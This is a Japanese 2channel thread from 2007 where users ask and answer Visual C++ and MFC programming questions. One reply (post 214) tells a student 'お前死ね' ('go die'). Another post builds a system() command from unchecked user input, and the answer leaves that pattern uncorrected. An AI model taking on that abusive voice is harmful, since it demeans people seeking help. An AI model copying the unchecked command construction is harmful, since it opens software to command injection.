d:\abstract2bad\abstract2bad\abstract2bad.cpp(7) : 'basepair' の宣言を確認してください。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(45) : error C2248: 'basepair::getvalue' : protected メンバ (クラス 'basepair' で宣言されている) にアクセスできません。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(18) : 'basepair::getvalue' の宣言を確認してください。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(7) : 'basepair' の宣言を確認してください。
0151デフォルトの名無しさん
2007/01/17(水) 19:27:420152デフォルトの名無しさん
2007/01/17(水) 19:28:220153質問1(続き)
2007/01/17(水) 19:29:04/* 派生クラスで純粋仮想関数をオーバーライドするプログラム */
#include <iostream>
#include <string>
using namespace std;
// basepair抽象クラスの定義
class basepair {
// デフォルトコンストラクタの使用を禁止する
basepair() {}
protected://�@ A
//public://�@ B
// データメンバ
string key, value;
// 引数をとるコンストラクタ
basepair(const char *pstrkey, const char *pstrval)
: key(pstrkey), value(pstrval) {}
// getvalue()メンバ関数を定義する
const char *getvalue() { return value.c_str(); }
// getkey()メンバ関数を定義する
const char *getkey() { return key.c_str(); }
// keycomp()純粋仮想関数を宣言する
virtual int keycomp(basepair &rp) = 0;
// valcomp()純粋仮想関数を宣言する
virtual int valcomp(basepair &rp) = 0;
// getpairvalue()純粋仮想関数を宣言する
virtual const char *getpairvalue(const char *pstrkey) const = 0;
// getpairkey()純粋仮想関数を宣言する
virtual const char *getpairkey(const char *pstrval) const = 0;
};
//(以下に続く)
0154質問1(続き)
2007/01/17(水) 19:29:40class mypair : public basepair {
public:
// 引数をとるコンストラクタ
mypair(const char *pstrkey, const char *pstrval)
: basepair(pstrkey, pstrval) {}
// keycomp()純粋仮想関数に独自の実装を行う
virtual int keycomp(basepair &rp) {
return strcmp(key.c_str(), (rp).getkey());// �A A エラー箇所40行目
// return strcmp(key.c_str(), static_cast<mypair &>(rp).getkey());// �A B
}
// valcomp()純粋仮想関数に独自の実装を行う
virtual int valcomp(basepair &rp) {
return strcmp(value.c_str(), (rp).getvalue());// �B A エラー箇所45行目
// return strcmp(value.c_str(), static_cast<mypair &>(rp).getvalue());// �B B
}
// getpairvalue()純粋仮想関数に独自の実装を行う
virtual const char *getpairvalue(const char *pstrkey) const {
if (key == pstrkey) return value.c_str();
else return NULL;
}
// getpairkey()純粋仮想関数に独自の実装を行う
virtual const char *getpairkey(const char *pstrval) const {
if (value == pstrval) return key.c_str();
else return NULL;
}
};
//(以下に続く)
0155質問1(続き)
2007/01/17(水) 19:30:31// mypairクラス型の配列を作成する
mypair mp[] = { mypair("358-0015", "さいたまけんいるましにほんぎ"),
mypair("500-8165", "ぎふけんぎふしおいまつちょう"),
mypair("272-0034", "ちばけんいちかわしいちかわ"),
mypair("060-0000", "ほっかいどうさっぽろしちゅうおうく"),
mypair("670-0974", "ひょうごけんひめじしいいだ"),
mypair("770-0874", "とくしまけんとくしましみなみおきのす")
};
if ( mp[5].keycomp(mp[1]) )
{
cout << "mp[5]とmp[1]のKeyは異なる\n";
}
else
{
cout << "mp[5]とmp[1]のKeyは同じ\n";
}
if ( mp[5].keycomp(mp[5]) )
{
cout << "mp[5]とmp[5]のKeyは異なる\n";
}
else
{
cout << "mp[5]とmp[5]のKeyは同じ\n";
}
getchar();
return 0;
}
0156質問1(続き)
2007/01/17(水) 19:35:54これって、static_castがベストでしょうか?
0157質問1(続き)
2007/01/17(水) 19:38:46以上です。
0158デフォルトの名無しさん
2007/01/17(水) 20:33:15あと、スレ違い臭
0159デフォルトの名無しさん
2007/01/17(水) 21:16:54>basepair の、公開メンバっぽいものを全て protected にしてる所に問題があると思うよ。
ご回答ありがとうございます。
>あと、スレ違い臭
今まで気づきませんでした。すみません。
これにて私の質問は終えたいと思います。
0160デフォルトの名無しさん
2007/01/18(木) 16:01:37たとえばバーが2つあって「↑↓」で1つ目を増減させ、「←→」で2つ目を増減させるとか。
今はSB_LINELEFT等を使ってマウスで動かしてます。
0161デフォルトの名無しさん
2007/01/18(木) 16:16:030162デフォルトの名無しさん
2007/01/18(木) 16:54:01片方しか動かせないんですよ。お兄ちゃんおせーてください。
0163デフォルトの名無しさん
2007/01/18(木) 21:28:450164デフォルトの名無しさん
2007/01/18(木) 22:28:070165デフォルトの名無しさん
2007/01/18(木) 23:00:27学校の宿題で、ヘッダファイルをDLして、プログラムを書くらしいのですが、
どのフォルダに追加していいのか分かりません。
左のヘッダーファイルのフォルダに追加したのですが、
「include ファイルを開けません」
「'gucc.h': No such file or directory」と出てしまいます。
gucc.hはヘッダーファイルの名前です。
visual C++ 2005を使っています。
0166デフォルトの名無しさん
2007/01/18(木) 23:10:43どこでも好きなところにどうぞ
その代わり、インクルードパスの指定はしっかりしてください
それすらわからんなら全部まとめて同じ場所に保存しとけ
それでもダメなら先生に教わっておいで
0167デフォルトの名無しさん
2007/01/19(金) 00:27:320168デフォルトの名無しさん
2007/01/19(金) 00:38:58_,,..,,,,_ _,,..,,,,_
./ ヽ / ヽ
l ・ωl lω・ l
`'ー--┳━┳---‐´
_,,..,,,,_ _,,..,,,,_
./ ヽ / ヽ
l ,,・3,,-ω-,, l 〜♪
`'ー--┳━┳---‐´
0169デフォルトの名無しさん
2007/01/19(金) 16:52:13リストコントロールの水平スクロールバーが表示されているかどうか判定する方法ってありますか?
0170169
2007/01/19(金) 17:43:34if(GetScrollLimit(SB_HORZ) > 0)
0171169
2007/01/19(金) 17:53:34また行き詰ってしまったので、再度質問です。
リストコントロールの選択アイテムが、可視部の何番目が選択されているかというのは分かりますでしょうか?
下図の例で言うと、垂直スクロールバーが表示されているリストコントロールで、
矢印の行が選択されていた場合、インデックス値は2ですが可視部だけなら1ということで、
その1という値を求めたいということです。
<例図>(『あ』はインデックス0番目のアイテムだが、スクロールによって見えてない。)
(あ)
―――――
|い ‖
→|う■■■■‖
|え ‖
|お ‖
|―――――
0172デフォルトの名無しさん
2007/01/19(金) 18:04:050173デフォルトの名無しさん
2007/01/19(金) 18:08:50m_list.GetCurSel() - m_list.GetTopIndex()
0174デフォルトの名無しさん
2007/01/19(金) 18:29:01GetCurSelはリストコントロールにはなかったですけど、出来ました!
ありがとうございます。
m_list.GetSelectionMark() - m_list.GetTopIndex()
0175デフォルトの名無しさん
2007/01/19(金) 21:05:11画像をpictureboxから別のpictureboxに部分コピーする方法がわからないのですが
何か良い方法はないでしょうか。
0176デフォルトの名無しさん
2007/01/19(金) 21:16:240177デフォルトの名無しさん
2007/01/19(金) 21:22:28BitBlt使う方法もあるけどな
0178デフォルトの名無しさん
2007/01/19(金) 21:24:32レスありがとうございました。どうもそれでできそうです。
VC++はMFCとかWINDOWSフォームとか、それぞれ勝手が違うのでちょっと困ってました。
もうちょっと参考書買い足してみることにします。
0179デフォルトの名無しさん
2007/01/19(金) 21:25:15ありがとうございます。
あとsage忘れました。ごめんなさい。
0180デフォルトの名無しさん
2007/01/19(金) 21:40:41外部実行ファイル(=既存のプログラム)を起動するにはどうしたらよろしいでしょうか?
0181デフォルトの名無しさん
2007/01/19(金) 21:51:50わからない俺は猫以下なんでしょうか…
0182デフォルトの名無しさん
2007/01/19(金) 21:56:34ShellExecute
>>181
あそこの猫は特別優秀らしい
0183デフォルトの名無しさん
2007/01/19(金) 21:59:58とりあえず何を勉強したらいいんですかね?
目標はゲームを作ることなんですが
0185175
2007/01/19(金) 23:40:14すいません。windowsフォームでBitBltを使う方法ってどんなのでしょうか。
Drawimageだと画像の「部分」を取り出すことができませんでした。
(画像全体が、取り出したい部分サイズに縮小されてしまいました。
DrawImageUnscaledAndClippedメソッドというのもあるようですが、自分のバージョンは古いらしく対応していないようでした。)
度々すいません。
0186デフォルトの名無しさん
2007/01/20(土) 00:22:48DrawImageメソッドには描画元の領域指定できるのも用意されている。よく探せ。
0188デフォルトの名無しさん
2007/01/20(土) 00:44:340189デフォルトの名無しさん
2007/01/20(土) 08:54:490190デフォルトの名無しさん
2007/01/20(土) 12:22:270191デフォルトの名無しさん
2007/01/20(土) 13:17:200192デフォルトの名無しさん
2007/01/20(土) 13:21:270193デフォルトの名無しさん
2007/01/20(土) 13:50:300194デフォルトの名無しさん
2007/01/20(土) 22:07:35MSDN見てヘッダ関係かと思ったんですが#includeはきっちりしてあるのにエラーが・・・
#include <stdlib.h>
#include <stdio.h>
int Main(int argc, _TCHAR* argv[])
{
printf("test\n");
return 0;
}
なんかしょうもないボカやってる悪寒が
0195デフォルトの名無しさん
2007/01/20(土) 22:08:490196デフォルトの名無しさん
2007/01/20(土) 22:19:110197デフォルトの名無しさん
2007/01/20(土) 22:30:35stdafx書き込むの忘れてました
弟がstdafx.hを弟がソリューションから消したのが正解でした・・・・
返してくれ俺の3時間orz
0198デフォルトの名無しさん
2007/01/20(土) 23:02:12プログラムの利用者はどうやってフォルダの中にあるファイルを指定するのか。
0199デフォルトの名無しさん
2007/01/21(日) 16:01:47SelectObject(hdc,CreateFont(20,0,0,0,
FW_DONTCARE,
FALSE,FALSE,FALSE,
SHIFTJIS_CHARSET,
OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY,
DEFAULT_PITCH | FF_DONTCARE,
"Arial Black")
);
こんな感じで論理ペンを作成したのですが、
どうあがいてもArial Blackではないフォントで描画されてしまいます。
どうしてArial Blackで描画させたいのですがどうすればよいでしょうか・・・
0200デフォルトの名無しさん
2007/01/21(日) 16:16:160201デフォルトの名無しさん
2007/01/21(日) 16:41:15後別にVCの使い方関係ないし、Win32APIスレで聞いた方が良い
0202デフォルトの名無しさん
2007/01/21(日) 17:19:53漏れ的には無料のVC8の方が格別に使いやすいのですが、ライセンスの関係でVS2005の
無聊版は使えないらしいのです、仕方なく会社のVC6をコッソリ家に持って帰り
インスコしてSP6を当てマスタそして
VC6で開発する時の注意事項などあれば教えてホスイ
0203デフォルトの名無しさん
2007/01/21(日) 17:28:040204デフォルトの名無しさん
2007/01/21(日) 17:32:33Windowsフォームアプリケーションで、
String *data=S"aaaaa";
if(data->Substring(1,1)==S"a"){text1->Text=S"ok";}
if(data->Substring(1,1)!=S"a"){text1->Text=data->Substring(1,1);}
このような構文を走らせたところ、text1には変化なし、
しかしtext2には"a"と表示されてしまいました。
一体なにがいけないのでしょうか?
0205デフォルトの名無しさん
2007/01/21(日) 17:48:42注意事項:コッソリ持って帰らない
0206デフォルトの名無しさん
2007/01/21(日) 17:49:45テンプレート使いまくりの変態プログラミングは諦めろ。
付属のSTLもかなり怪しいし、boostは駄目かもしれん。
0207デフォルトの名無しさん
2007/01/21(日) 17:52:39Substringということは.NETか
C++で.NET使ったこと無いんだが、なんだその「S」は?
まぁそのSが何のつもりか知らんが、その比較演算はC++としてありえない
0208デフォルトの名無しさん
2007/01/21(日) 17:55:550209デフォルトの名無しさん
2007/01/21(日) 18:08:30御社名を教えていただければ、開発に当たっての様様なノウハウをお教えするに吝かではありません。
#尤も、MSに密告しない保証は致しかねますが。
0210デフォルトの名無しさん
2007/01/21(日) 18:27:35そうですねこっそり持って帰るのはイクナイノデアンインストールして明日会社に返します。
本棚の隅に1999年に買って一度も目を通したことの無かった
SHOEISHAの「プログラミング学習シリーズ山本信雄 著 VisualStuidio C++」
を開いてみたら
char s(80);
lstrcpy(s, "おはようございます。");
ってなってマスタ、
char s(80);は今日日ねーべなと思い
char s[80];
で動きマスタ
昔のVS6はchar s(80);でもコンパイルエラーでなかったのかな??
因みに漏れはSP6を家で堂々と当てたのでエラーになったのだと思う
C99はchar s(80);これでもOKだったのかい??
0211204
2007/01/21(日) 19:05:40ありがとうございました。
0212デフォルトの名無しさん
2007/01/21(日) 19:45:44おそらく本の誤植。
ちなみにC++でchar s(80);はコンストラクタ引数を与える構文になるが、charは組込型なのでchar s = 80;と同じ意味になる。
0213デフォルトの名無しさん
2007/01/21(日) 21:01:52一応、課題の例は出されたのですが、ちょっと無理かなと思いまして・・・
例は、
・駐車場のパーキングシステム
・飛行機の搭乗席を予約するシステム
・マトリックスを計算する電卓
・ブラックジャック
・ポケットゲーム
などです。
この他になにかアイディアはありませんでしょうか。
宜しくお願いします。
0214デフォルトの名無しさん
2007/01/21(日) 21:19:34お前死ね
お前が無理ではないと思うプログラム作ったらイイジャマイカ
答え
お前死ね
0215デフォルトの名無しさん
2007/01/22(月) 11:21:38#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define N 7
main ()
{
int a[100]={0,5,2,4,6,1,3,7};
int i,x,j;
clock_t ts,te;
double p;
for(i=1; i<=N; i++) a[i]=rand();
ts=clock();
for(i=2; i<=N; i++){
x=a[i]; a[0]=x;
j=i-1;
while(a[j] > x){
a[j+1]=a[j];
j=j-1;
}
a[j+1]=x;
}
te=clock();
p=(double)(te-ts)/CLOCKS_PER_SEC;
for(i=1; i<=N; i++) printf("%d ",a[i]);
printf("\n");
}
という挿入法のプログラムを作り、整列アルゴリズムのデータ個数と処理時間の平均値を用いたのですが、整列手前等で、ある条件下では処理時間が入れ替わることがあるんです。
その理由をお教えください。よろしくお願いします。
0216デフォルトの名無しさん
2007/01/22(月) 11:43:04ましてその程度のコードだと、初回とそれ以降ではキャッシュの乗りが確実に違うだろうし。
0217デフォルトの名無しさん
2007/01/22(月) 18:19:47説明不足でした。すみません。
PCとOSで必ず同じ時間になる保証はどこにもないのは知ってます。
上記のプログラムで、ある条件下では処理時間が入れ替わることがあるという部分(理由)はあるでしょうか?
お教えください。
0218デフォルトの名無しさん
2007/01/22(月) 18:23:30まさかとは思うが、CLOCKS_PER_SECの関係でばらつきがでることを問題視したいのだろうか。
例えばCLOCKS_PER_SECが100msなら、110msの処理時間は100msと表示されることも200msと表示されることもあるわけだが。
0219デフォルトの名無しさん
2007/01/22(月) 18:33:560220デフォルトの名無しさん
2007/01/23(火) 04:40:35お前さんはまだわけぇから言いたいこともあるべぇ
だべな、派遣問題を口にするとムキになって怒る者がおるでよぉ
問題の指摘は駄目だっぺぇ
派遣のことは口にしちゃなんねぇ
この村みたいな民度ゼロの会社で現実忘れるためはよ
北朝鮮と一緒でよ、駄目のものを駄目と言ってはなんねえだべさ
タブーを口にしちゃいけねぇだ
0221お願いします
2007/01/23(火) 23:25:07LINK : fatal error LNK1249: イメージのベース アドレスが 400000、
サイズが 0x7FFEF000 で、最大範囲を超えています。
というエラーが出るのですが、この最大範囲を大きく変更するには
どうすればいいのですか。
よろしくお願いします。
0222デフォルトの名無しさん
2007/01/23(火) 23:54:14だめだったら64bit化しろ。
0223デフォルトの名無しさん
2007/01/24(水) 08:05:37という言葉をよく見かけるのですが、これはUNIX系でいうhoge foo varと
同じような意味なんでしょうか?
0224デフォルトの名無しさん
2007/01/24(水) 08:57:19とりあえずその文でぐぐってみれ。
0225デフォルトの名無しさん
2007/01/24(水) 12:17:04ホームページ作者の趣味なんですね。
0226デフォルトの名無しさん
2007/01/24(水) 16:14:010227デフォルトの名無しさん
2007/01/24(水) 18:27:380228デフォルトの名無しさん
2007/01/24(水) 19:32:57VC6.0で作ったプロジェクトを2005に移行することになりました。
型変換や標準関数の変更でガンガンエラーはでるものの、なんとか修正してきましたが、
COMのインターフェースの定義で、oledb.hに書かれているものと同じ名前の
インターフェースを使用していたのですが、2005に移行したらインターフェース名を
変更しないと使用できなくなりました。
名前を変更すればビルドはできるものの、今まで使えていただけに2005でも
何かすれば使えるのではないかと思っています。
どうにかヒントでも頂ければ幸いです。
0229デフォルトの名無しさん
2007/01/26(金) 02:04:48ユーザーにコマンドライン引数を決めさせたいとき
どのようにすればいいでしょうか?
下のようにするとハングしてしまいます。
#include <iostream>
using namespace std;
int main(void)
{
char str[100];
char str2;
cout << "引数を入力してください"<<endl;
cin >> str2;
sprintf(str,"test.exe %s",str2);
system(str);
return 0;
}
0230デフォルトの名無しさん
2007/01/26(金) 02:26:42>下のようにするとハングしてしまいます。
str2はcharなのに書式指定子に%sを使っているから。
0231229
2007/01/26(金) 02:39:56とりあえず
char str2[64];
としたところ正常に動きました。
0232デフォルトの名無しさん
2007/01/26(金) 08:36:19チェックするようにするには、GroupBoxを使うと教えられました。
radioButtonMen,radioButtonWomenの2つのラジオボタンをグループボックスの
上に配置した時に生成されたコードの一部分が↓です。
どのメンバ変数を見れば、どちらをチェックしたかというのがわかるの
でしょうか?
//
// groupBox1
//
this->groupBox1->Controls->Add(this->radioButtonMen);
this->groupBox1->Controls->Add(this->radioButtonWomen);
this->groupBox1->Location = System::Drawing::Point(197, 194);
this->groupBox1->Name = L"groupBox1";
this->groupBox1->Size = System::Drawing::Size(200, 45);
this->groupBox1->TabIndex = 24;
this->groupBox1->TabStop = false;
this->groupBox1->Text = L"groupBox1";
this->groupBox1->ResumeLayout(false);
this->groupBox1->PerformLayout();
0233デフォルトの名無しさん
2007/01/26(金) 18:22:23(VS C++2005の環境)
フォームにボタンやテキストボックスを配置してビルドすると、
ソースが勝手に追加/削除されたり編集されたりします。
その更新されていくソース・プログラムを見ていて思ったんですけど、
Visual C++でWindowsプログラミングをする場合、
通常プログラマは、
クラスの関連(継承とか)をあまり意識しないんでしょうか?
メンバ変数を用意することってあまりないでしょうか?
あと、普通のC++のコンテナ(vectorやlist)は使用されませんか?
0234デフォルトの名無しさん
2007/01/26(金) 18:27:34VC++の操作がわかんなかったら手書きでもいいし
0235デフォルトの名無しさん
2007/01/26(金) 19:14:23VC6では出来ないのでしょうか?
Debugモードしか見当たりません・・・・・
0236デフォルトの名無しさん
2007/01/26(金) 19:24:430237デフォルトの名無しさん
2007/01/26(金) 21:12:11>>235ですが
「Vc6 Release」で検索しても分からなかったんですが
0238デフォルトの名無しさん
2007/01/26(金) 21:16:120239デフォルトの名無しさん
2007/01/26(金) 21:19:250240デフォルトの名無しさん
2007/01/27(土) 00:35:430241デフォルトの名無しさん
2007/01/27(土) 02:41:48すべての種類の駒が描かれている1枚のビットマップから
一部を切り出して(読み込んで)オブジェクトにするには
どうしたらいいでしょうか?
一つずつ別ファイルを用意しないとだめ?
0242デフォルトの名無しさん
2007/01/27(土) 07:26:34ありがとう
0243デフォルトの名無しさん
2007/01/27(土) 13:30:33CDC *pDC = GetDC();
AfxBeginThread(ここがわからない);
とメインの中に記述して、マルチスレッドでfunを使って、
funの中でpDCを↓のように使いたいのですが、どうすればいいでしょうか。
void fun(){
pDC->TextOutW(10,10,_T("aaa"));
}
0244デフォルトの名無しさん
2007/01/27(土) 13:33:030245デフォルトの名無しさん
2007/01/27(土) 13:44:20そうなんですか・・・。
では、マルチスレッドのfunの中でpDCを使いたい場合はどうすればよろいのでしょうか。
0246デフォルトの名無しさん
2007/01/27(土) 13:49:290247デフォルトの名無しさん
2007/01/27(土) 13:58:14ハンドル渡せば。
でもいろいろ面倒だから、描画関係はそのウィンドウが属するスレッドでやって
描画に関係ない処理を別スレッドでやる方がいいと思うけど。
0248デフォルトの名無しさん
2007/01/27(土) 14:16:570249デフォルトの名無しさん
2007/01/27(土) 14:50:03なんで?
MSDNのサンプルでもMFCオブジェクトのポインタ渡してるよ。
まーpDCを渡すのはやばいけどね。
0250デフォルトの名無しさん
2007/01/27(土) 16:36:24ハンドル-オブジェクトのテーブルがスレッド固有とかいろいろ。
詳しくはこの辺
ttps://msdn.microsoft.com/library/default.asp?url=/library/en-us/vccore/html/_core_multithreading.3a_.programming_tips.asp
0251デフォルトの名無しさん
2007/01/27(土) 17:37:52注意点や、危険性とその回避方は書いてあるが >>244 のようなことは書いてないぞ。
非MFCスレッドでは出来ないと書いてあるけど。
0252デフォルトの名無しさん
2007/01/27(土) 17:45:10>As a general rule, a thread can access only MFC objects that it created.
0253デフォルトの名無しさん
2007/01/27(土) 17:50:290254デフォルトの名無しさん
2007/01/27(土) 17:54:52>This is because temporary and permanent Windows handle maps are kept in thread local storage to ensure protection from simultaneous access from multiple threads.
HDC等もハンドルマップを持ってるから、同様な問題があるよ。
0255デフォルトの名無しさん
2007/01/27(土) 18:05:32Windows Handle -> HANDLE, HWND, HDC, SOCKET…
Window Handle -> HWND
0256デフォルトの名無しさん
2007/01/27(土) 18:10:370257デフォルトの名無しさん
2007/01/27(土) 18:30:410258243
2007/01/27(土) 19:11:33for(i=0;i<10;i++){
pDC->TextOutW(0,0,_T("aaa"));
Sleep(1000);
}
で、それを処理させながら他の処理ができるようにしたいのです。
こんな安易な考え方からスレッドを使おうとすることが間違いなのでしょうか。
OnTimerを使う方法以外で何かよい方法がありましたら是非教えてください。
それとも、やはりOnTimerを使うしかないのでしょうか。
0259デフォルトの名無しさん
2007/01/27(土) 19:13:560261デフォルトの名無しさん
2007/01/27(土) 19:29:470262デフォルトの名無しさん
2007/01/27(土) 19:33:480263デフォルトの名無しさん
2007/01/31(水) 01:17:06そのピクチャボックスの中の線の色を変更したり、線を書き足したりして、
書いたものを崩さずに任意のサイズまで縮小したんですけど、どうしたらいいのでしょうか?
できれば、500から1600に拡大して線を描くまでの過程を裏で処理できるようにしたいんですけど、
できるでしょうか?
0264デフォルトの名無しさん
2007/01/31(水) 08:40:51DWORD dword;
でbyte⇔dword間で変換をしたいのですが
byte[0]から見て行って変換するしかないのでしょうか?
0265デフォルトの名無しさん
2007/01/31(水) 08:43:29ただしエンディアンに注意
0266デフォルトの名無しさん
2007/01/31(水) 09:37:140267デフォルトの名無しさん
2007/01/31(水) 12:15:090268デフォルトの名無しさん
2007/02/01(木) 00:43:04ありがと。リトルエンディアンになることに気をつける
0269デフォルトの名無しさん
2007/02/01(木) 05:09:18WinXP HomeEdition
Visual C++ 2005 Express Edition
『ねこでもわかるWindowsプログラミング』で勉強を始めたんですが
本に書いてある通りのプロジェクトの作成ができません。
テンプレートに「Win32 プロジェクトがありません」
アプリケーションウィザードで「Windowsアプリケーション」を選択できません。
ビルドしてもwindows.hが無いとエラーが出ます。
そもそもWindowsアプリケーションが作れないようになっていると感じるのですが
ExpressEditionではこれらの操作はできないのでしょうか?
0270デフォルトの名無しさん
2007/02/01(木) 05:18:46ExpressEditionではPlatformSDK入れたら使えるみたい
0271デフォルトの名無しさん
2007/02/01(木) 07:46:130272デフォルトの名無しさん
2007/02/01(木) 08:27:51使えるよ
猫でも級に内容が豊富で、EEでも一発でコンパイルが通るサイトがそろそろ欲しいな
でも俺が作ったら、どうしてもIDE関連やプロジェクトの設定で長々と語ってしまって、先に進めないんだよなー
0273デフォルトの名無しさん
2007/02/01(木) 08:56:49いままでVCやってた人のギャップが激しすぎる。
C#でもやってりゃいんだよ
0274デフォルトの名無しさん
2007/02/01(木) 08:59:090275デフォルトの名無しさん
2007/02/01(木) 09:53:14どうしたらいいんでしょうか?
0276デフォルトの名無しさん
2007/02/01(木) 10:50:580277デフォルトの名無しさん
2007/02/01(木) 10:53:45FindFirstFile サンプル付
0278275
2007/02/01(木) 13:42:01char pass[500] = "C:\\Documents and Settings\\abcde\\デスクトップ\\program\\適当\\DATA\\abc.txt";
HANDLE h = ::FindFirstFile(pass, &lp);
if(h != INVALID_HANDLE_VALUE){
ifstream in(lp.cFileName)
if(in){
m_list.InsertString(-1, lp.cFileName);
}
というふうにしたんですけど、ファイルの名前は取れるんですけど、
ファイルが開きません。
どこがまちがってるんでしょうか?
0279デフォルトの名無しさん
2007/02/01(木) 14:48:31lp.cFileNameにどういうファイル名が取れてるか調べればわかるだろう
0280デフォルトの名無しさん
2007/02/01(木) 14:56:19ありがとうございました!
0281デフォルトの名無しさん
2007/02/01(木) 15:03:28全ての後処理開放処理の時間がかかるときがあるアプリケーションが
あると思います。そこで終了処理をある程度表示させて確認したいのですが
なにか良い方法はありますか?
0282デフォルトの名無しさん
2007/02/01(木) 15:14:44そのイベントとメッセージをWaitForMultipleObjectsで待ちつつメッセージループ作って
イベントがシグナルになったら閉じる処理の続きとかどうだろう
0283デフォルトの名無しさん
2007/02/01(木) 16:26:15スプラッシュウィンドウ
0284デフォルトの名無しさん
2007/02/01(木) 17:58:310285デフォルトの名無しさん
2007/02/01(木) 18:10:280286デフォルトの名無しさん
2007/02/01(木) 22:14:031画面でかなり多くの数のコントロールを貼り付けているのですが、
デザイン画面を開くとき重くて時間が掛かっています。
また、Releaceでコンパイルしようとすると30分掛かっても終わりません。。
解決策はあるのでしょうか。
1画面で多くのコントロールを表示する理由は、
画面を切り替えずに複数の画面(?)を表示させるという仕様になっているからです。
今はパネルでコンテナ化し、各画面を出したい時にパネルの表示・非表示を
切り替えているのですが、正直限界です。
良い方法があればぜひ教えて下さい。
0287デフォルトの名無しさん
2007/02/02(金) 08:05:430288デフォルトの名無しさん
2007/02/02(金) 08:16:120289デフォルトの名無しさん
2007/02/02(金) 08:49:20それでも足りないとなると、他の人に委託しずらい等、
色々支障が出てくると思います。
それに、2ギガに増やして早さが倍になっても、
やっぱり遅い気がします。。
0290デフォルトの名無しさん
2007/02/02(金) 09:16:160291デフォルトの名無しさん
2007/02/02(金) 10:23:420292デフォルトの名無しさん
2007/02/02(金) 10:49:16そこまで最新のマシンでなければ動かせないのは
やはりおかしいと思うんです。
画面を分け、あたかも1つの画面で動くように見せるという方法がありましたので、
それでやってみたいと思います。
ありがとうございました。
0293デフォルトの名無しさん
2007/02/02(金) 11:47:330294デフォルトの名無しさん
2007/02/02(金) 12:31:10だから、それ以外の方法があれば教えて欲しいと思い、
相談させてもらったのですが、、、。
0295デフォルトの名無しさん
2007/02/02(金) 12:40:13だとすれば、ポトペタせずに自前で生成すればいい。
0296デフォルトの名無しさん
2007/02/02(金) 19:54:33規則は、ある部分もあるのですが、
画面10枚分ぐらいのコントロールを1つのフォームで配置してるので
自分で書くのはちょっとしんどいですね。。
変わる可能性大ですし。
結局、ユーザーコントロールを画面分用意してやる事にしました。
0297デフォルトの名無しさん
2007/02/02(金) 23:51:250298デフォルトの名無しさん
2007/02/03(土) 00:14:14エディットボックスに表示しようと考えています。
表示の仕方は下記です。
void CtestView::setEditBox(char *str){
CEdit &edit = GetDitCtrl();
edit.SetWindowText(str); }
ファイルを読み込んで処理した結果をstrに入れるという感じです。
メニューのファイルオープンから読み込んだ場合は下記の
処理でいけるんですが・・・
CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView()));
pView->setEditBox(str);
実行ファイルにファイルをドロップして起動させた場合、
ドキュメントの
BOOL CtestDoc::OnOpenDocument(LPCTSTR lpszPathName)
に入るようですが、ここから上記のsetEditBox()を呼び出してもエラーに
なります。
原因は起動時でまだViewが出来ていないことであることは分かっているのですが、
どのタイミングで呼び出せばよいのか分かりません。
どうすればよいのでしょうか?
0299デフォルトの名無しさん
2007/02/03(土) 00:51:59新しいドキュメントを開いたあとは必ず
void CtestView::OnInitialUpdate()
が呼び出されるので、そこで
setEditBox(GetDocument()->GetYourString());
0300デフォルトの名無しさん
2007/02/03(土) 06:22:59読むときに処理すればいいのでは?
0301デフォルトの名無しさん
2007/02/03(土) 07:40:52今環境がないので試せないですが、そのタイミングでは必ず
ビューが作成されているんですか?
>>300
読むときに処理すればいいんですが、アイコンにドロップして
起動させた場合はタイミングによってビューが作成されていないので
エラーになるんです。
0302デフォルトの名無しさん
2007/02/03(土) 07:44:51> CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView()));
> pView->setEditBox(str);
は当然削除だろ。個人的にはCtestDocにCtestView.hをincludeするのは、やってはいけない事だと思う。
0303デフォルトの名無しさん
2007/02/03(土) 07:48:31ドキュメントを読んだあとにビューを更新するために用意されているメソッドだし
当然ビューは存在してるよ。
0305デフォルトの名無しさん
2007/02/03(土) 09:14:250306デフォルトの名無しさん
2007/02/03(土) 09:54:09ありがとうございます。
せっかく教えて頂いたのにアレなんですが、インストールしようとしたところ
ちょっとCドライブの空きが足りなかったのでしばらくは秀丸とbccでやってみます。
0307いーぶいしー
2007/02/03(土) 16:42:45自分で作成したDLLに定義されているClassのpubicなメンバ変数に、アクセスしたい場合、
そのメンバ変数が構造体だと、その構造体の定義はクライアント側にも必要なのでしょうか?
定義を一箇所(DLL側のみ)にはできないのでしょうか?
0308デフォルトの名無しさん
2007/02/03(土) 16:49:16もちろん必要、共通でinlcudeする*.hファイルに定義しておく。
C++/CLIのrefクラス、ref構造体は例外だけど
0309デフォルトの名無しさん
2007/02/04(日) 01:12:51何方かこの本の題名を知らないでしょうか?
なんでも辞書みたいな感じの本で延々とコードが書いてあるらしいのですが。
あとみなさんはどのような本で勉強していますか?
ちなみに僕は学校の授業でやったもののほぼ未経験です。
0310デフォルトの名無しさん
2007/02/04(日) 01:52:01沢山あるぞ。好きなのを選ぶが良い。
ttp://www.oreilly.co.jp/index.shtml
> どのような本
一冊で完結なんて出来ないんだから
自分の目的にあった本を
(良い意味で)適当に買いつづけていけばいいと思うよ。
↓参考
推薦図書/必読書のためのスレッド PART33
http://pc10.2ch.net/test/read.cgi/tech/1167140188/l50
0311デフォルトの名無しさん
2007/02/04(日) 18:14:46環境:Windows XP,VC++6.0 「_MBCS」指定
Windowsのアプリを作っているのですが、リストビューの部分のみにUnicode文字のデータを表示
させたいので以下のようにリストビューの部分のみワイド文字仕様の構造体を使用しています。
リストビュー設定部のソース
static HWND hList;
LV_COLUMNW lvcol;LV_ITEMW item;
InitCommonControls();
hList = CreateWindowExW(0,WC_LISTVIEWW, L"",WS_CHILD | WS_VISIBLE | LVS_REPORT,
0, 0, 300, 200,hWnd,(HMENU)ID_LISTVIEW,hInst,NULL);
lvcol.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM;
lvcol.fmt = LVCFMT_LEFT; lvcol.cx = 100;
lvcol.pszText = L"項目1"; lvcol.iSubItem = 0;
ListView_InsertColumn(hList, 0, &lvcol);
item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
